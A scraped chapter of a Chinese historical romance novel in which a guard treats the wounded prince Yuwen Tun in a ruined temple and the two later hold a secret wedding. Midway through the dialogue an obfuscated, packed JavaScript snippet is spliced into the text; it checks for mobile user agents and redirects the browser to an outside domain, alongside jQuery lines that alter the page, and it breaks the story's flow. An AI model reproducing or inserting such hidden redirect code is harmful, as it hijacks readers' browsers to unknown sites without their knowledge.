俞之陆寻了干草作席,扶宇文暾侧躺。此箭刺入软甲,倒是不深,可位置极差,不能贸然拔箭。宇文暾失血口渴,俞之陆安抚他道:“附近有水源,我去去便来。”
宇文暾听得呜呜风声这般骇人,只说:“可惜药在我的马上,马却丢了。”
“我去传信给其他暗卫,他们会携药。”俞之陆探宇文暾额头,发觉宇文暾正出冷汗,“我去取水,再拾些干柴,夜里太冷,不生火只会先冻死。”
宇文暾这才松开俞之陆的袍角。俞之陆出了旧庙,吹哨唤鹰,放一封空信,命鹰鸟绕空,作幌子;再吹短哨,唤来一种边塞常见的鸟儿,有暗卫学习训鸟之术,将边塞鸟儿训成信鸟,专为暗卫间传信用。俞之陆撕破里衣,蘸血写信,边塞鸟儿扑簌簌地乘夜风飞走了。
俞之陆带水壶、柴火回旧庙,他已将自己的箭伤、刀伤处理干净,只待伤口自行愈合。还未见到人,俞之陆便听见阵阵咳声。俞之陆加急脚步,只见到宇文暾咳血气促,面色青白,他仔细探摸,摸到宇文暾胸口气胀,需要排气。
以俞之陆丰富的受伤经验,处理这种伤不在话下。俞之陆当即生火,以火炙匕首,然后俞之陆扶住宇文暾的身体,低声道:“兰缨,很快便好。”说罢,匕首刺入肋下,胸中郁气排出,宇文暾猛咳一口血,随后气顺。
俞之陆干脆将里衣全脱了尽,撕成布条扎成长带,为宇文暾绕胸捆了气切伤口。俞之陆好像并不担心有追兵,或是宇文暾将要命丧荒村。俞之陆轻松说话:“不担心啊不担心,这箭等药来了再拔。”
宇文暾伤了肺,说不得话。俞之陆发现,更是一乐,继续道:“兰缨,下次休要为我挡箭,我伤了只消一夜便好,你伤了得一年来养。我叫你好好学武,你称忙……罢了,兰缨,多谢,我知你是为我挡脑后一箭。下次你便任那箭来,我倒想知道,若我的头首中箭,是否还能一夜伤愈。”
“胡说……”宇文暾嘶声道,“不许拿命赌。”
俞之陆求这祖宗别开口,免得伤口又崩裂。破庙门衰,俞之陆搬了门板挡好,夜风强劲,几次欲吹翻门板,破落木窗噼啪开合,响声催命。俞之陆扶宇文暾更靠近火堆,宇文暾失温,俞之陆小心抱住宇文暾,给宇文暾当人肉暖垫。
宇文暾一要睡,俞之陆就拍醒他,重复数回,终于是在后半夜等来了药。
俞四带队四名暗卫抵达弃村,各带包袱,有药品、食物、衣物等必需品。俞四习过医,他与俞之陆一道为宇文暾拔箭、处置伤口。俞四说这箭险些伤及筋脉,最凶险的还是肺破,幸好俞之陆及时放气,否则王爷活不到现在。
暗卫向宇文暾汇报城内情况,甫一汇报完毕,俞之陆便说宇文暾可以休息了,早睡早好,旁的事等醒来再说。不等宇文暾回应,俞之陆抬手点穴,断了宇文暾说话的心思。俞之陆最擅长点人哑穴,宇文暾只得用眼睛瞪他。俞之陆又说:“你还不睡?一炷香内不睡,我再给你点睡穴。”宇文暾只好憋闷着阖眼了。
他们足足在荒村待了三日。朔北的王爷丢了,朔北城却是毫无反应。
宇文暾伤势严重,需回王府静养,可朔北城内气氛实在诡异,宇文暾便执意留在弃村,拖延时日,等暗处之人的意图暴露。
暗卫们早在抵达弃村那日就抹除了俞之陆、宇文暾二人的踪迹,四位暗卫分成两组,轮流值守。宇文暾清醒的时间不多,断断续续起高热,俞之陆在庙里就近煎药,借火烤暖,苦风阵阵。
宇文暾清醒时会与俞之陆商议。根据城中暗卫的来信,监军谢屏带了一万兵士前来,意欲降胡,未曾想朔北王遭贼胡先骗出了城,贼胡岂有降乎?监军这话是说给朔北王的五千精兵听的,宇文暾与所带的五百骑没有归来,这就是最好的证明,朔北王恐是反遭胡人扣下了。
城内有参军留守,宇文暾的参军是寒门武将,深受宇文暾重用,他定会替宇文暾守住兵权,加之有暗卫传信,参军只需抵过这几日便可。
宇文暾操心的总归是这些军兵政事,他在宫中是聪明,出了宫仍还聪明么?宇文暾一度很怀疑自己的真实能力。
至第四日,俞十快马来报:“监军派出了一支小队,走官道接应马车,据说是皇帝为殿下赐了婚,马车里坐着……马车脚程不比军队,这才落下了。”
宇文暾倏地呕出一口鲜血,眼见伤势有好转,这一噩耗火烧心肺,几乎将宇文暾逼出内伤。俞之陆还嬉嬉笑笑地打趣俞十,问他有没有看见美娇娘的面容,是哪家的女子?俞十连忙去找俞四,庙内空寂下来,俞之陆收起笑容,俯下身为宇文暾擦血。
软绸布捺过宇文暾的下巴,没擦净血迹,反倒像是将血拓在宇文暾脸上。宇文暾想接过绸布自己来,俞之陆放轻手力,酸道:“我以为宇文康想不起这茬呢。”
宇文暾压下喉间腥甜,他已有主意。
俞四前来诊脉看伤,幸好不是伤口恶化。俞四接水替宇文暾清口,宇文暾洗去满嘴血味,趁俞之陆出门倒血水之际,宇文暾对俞四轻声道:“我要一对红烛与一些简单的成亲物事。今晚就要。”
俞四领命退下。俞之陆拉住俞十,打探王妃之事,俞十却一问三不知,若不是监军派人去接应,他们也不会知道那辆马车里坐着的,竟然是朔北王妃。
黄昏后,宇文暾和俞之陆用过干粮,宇文暾想要明天就回朔北城,俞之陆却认为宇文暾应当在弃村再待一日,俞之陆要做前哨。
俞之陆冷然道:“我今夜先行回城,给杨参军定心。我们的五百精兵遭埋伏,只剩伤者几十人,我还应安置他们。”
宇文暾急道:“等等,今夜你不能走。”
“为何?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413302|184596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宇文暾说不出所以然,只得胡乱扯了理由,伤兵已经在其他村中安置,不急于今夜……宇文暾今夜也要遣其他暗卫宫中行事,不能叫俞之陆撞见。更重要的是……
俞四终于抵达弃村,他叩门,宇文暾让他进来。俞四将包裹交予宇文暾,宇文暾命俞四在屋外守着。包袱一打开,里面是一对龙凤红烛,一块红罗帕,一对从中剖开的蒲芦酒杯,是为合卺。俞四冒失地再次叩门,他忘了提酒壶进来,得了允许后,俞四放下酒,仓皇离去。
宇文暾端正坐姿,摸出早已备好的蕙玉,深红的玉底中央有一点浅粉鹅黄的规律斑点,如蕙兰的蕊心。这块佩玉跟了宇文暾十八年,几乎是宇文暾的标志。他将蕙玉交到俞之陆手中,四目相对,宇文暾说:“我这一生有你相伴就已足够,不需要任何外人。”
俞之陆似是猜到宇文暾的想法,他避开眼神,手中的玉如此炙烫。俞之陆犹疑道:“于身份而言,你是君,我是臣;于交情而言,我们是挚友。你我皆已十八,成家立业,天经地义。”
“是天经地义,但我只想同你成家。”宇文暾放下皇子、朔北王的架子,放柔语声,缓缓劝来,“我们自小便已是成双入对,为何成年了却要拆散?”
“这不合礼数。”
“之陆,我与宇文皇室的关系已淡如水,哪来的礼?百姓尚可结契兄弟,我亦是百姓。”
俞之陆将蕙玉放在红罗帕正中,宇文暾见他仍在思虑,宇文暾便耐心等候。良久,俞之陆浅笑道:“结契也是成亲……既然成亲,那我只做唯一。”
宇文暾亦垂眼笑道:“我也只做唯一。我们成家立业。”
契兄弟也好,夫妻也罢,名头不重要。俞之陆明白宇文暾的情意,更明白他们二人的情谊,恰如天地之间的日与月,是交相辉映的真心。
兴许二人是赶鸭子上架,兴许是再不说就晚了。宇文暾与俞之陆相互倾慕,有少年义气,也有那微妙的一点大胆,少年不识爱滋味,但若这不是爱,世间所有情皆若骗局。
宇文暾神采奕奕,去佛前点红烛,作拜堂的准备。俞之陆懵懵的,见宇文暾这般热切,像是早想好的,俞之陆心中愿意与宇文暾在一起,只能任宇文暾操持仪式。
这般大好日子,宇文暾半点不想提旁的人。二人私定终身,等他们回到朔北城,宇文暾亦会像今日安排成亲一般,安排好一切:他要将宇文康送来的人原封不动送回去;他要将谢监军送来的一万兵马全吃下;他要兴修朔北城,养民囤田,与俞之陆白日奔马,夜夜同衾;他要……他只要一般王爷的安生日子。俞之陆定会嫌弃朔北王妃的名号。一想到此,宇文暾的心化作温汤,轻轻一漾就是涟漪。
一阵急风贯入,俞之陆下意识护住烛火。
他当然是愿意的。他只是没想过,原来宇文暾也愿意。能等来宇文暾先行的承诺,是俞之陆的幸事。
石台上的佛爷面目慈爱,作见证。灰蒙蒙的旧庙里升起两团暖光,一张四方的红罗帕正中,左方的蕙玉搭上右方的刀珮,正似两小儿抵首絮话。拜堂成亲,一拜天地,无天无地只管叩首了;二拜父母,请佛爷代过;夫妻对拜,一不小心碰了脑袋,笑呵呵。末了合卺,好辣的酒,宇文暾命也不要了,一口喝尽,拿开酒杯便连咳数十下。俞之陆问,洞房否?宇文暾又是一连串地咳。俞之陆快乐极了。
*借用一下结契的风俗。本文有大概的时代参考,但改动较多,借一些概念来,比较方便我们现代人读……